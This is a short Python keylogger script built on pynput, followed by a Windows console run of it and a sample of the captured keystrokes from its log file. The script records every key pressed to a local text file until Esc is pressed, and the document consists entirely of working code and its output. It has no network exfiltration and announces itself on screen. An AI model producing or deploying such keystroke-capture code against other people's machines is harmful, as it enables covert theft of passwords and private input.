```python
from pynput import keyboard

log_file = "keystrokes_log.txt"

def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write(f"{key.char}")
    except AttributeError:
        with open(log_file, "a") as f:
            f.write(f" [{key}] ")

def on_release(key):
    if key == keyboard.Key.esc:  # Stop on Esc key
        return False

print("Keylogger is running... (Press ESC to stop)")
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
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Microsoft Windows [Version 10.0.22621.4317]
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C:\Users\OM\AppData\Local\Programs\Python\Python311>"C:\Users\OM\AppData\Local\Programs\Python\Python311\python.exe" Keylogger.py
Keylogger is running... (Press ESC to stop)

keystrokes_log.txt

hFhdbn34578b]sbdn [Key.space] n [Key.space] vhas [Key.space] [Key.enter] [Key.caps_lock] jbs [Key.esc] [Key.print_screen]
dfhkjahverfkaheasyg1y475024dnavd [Key.enter] [Key.caps_lock] [Key.caps_lock] b [Key.space] bs [Key.space] 3b [Key.esc]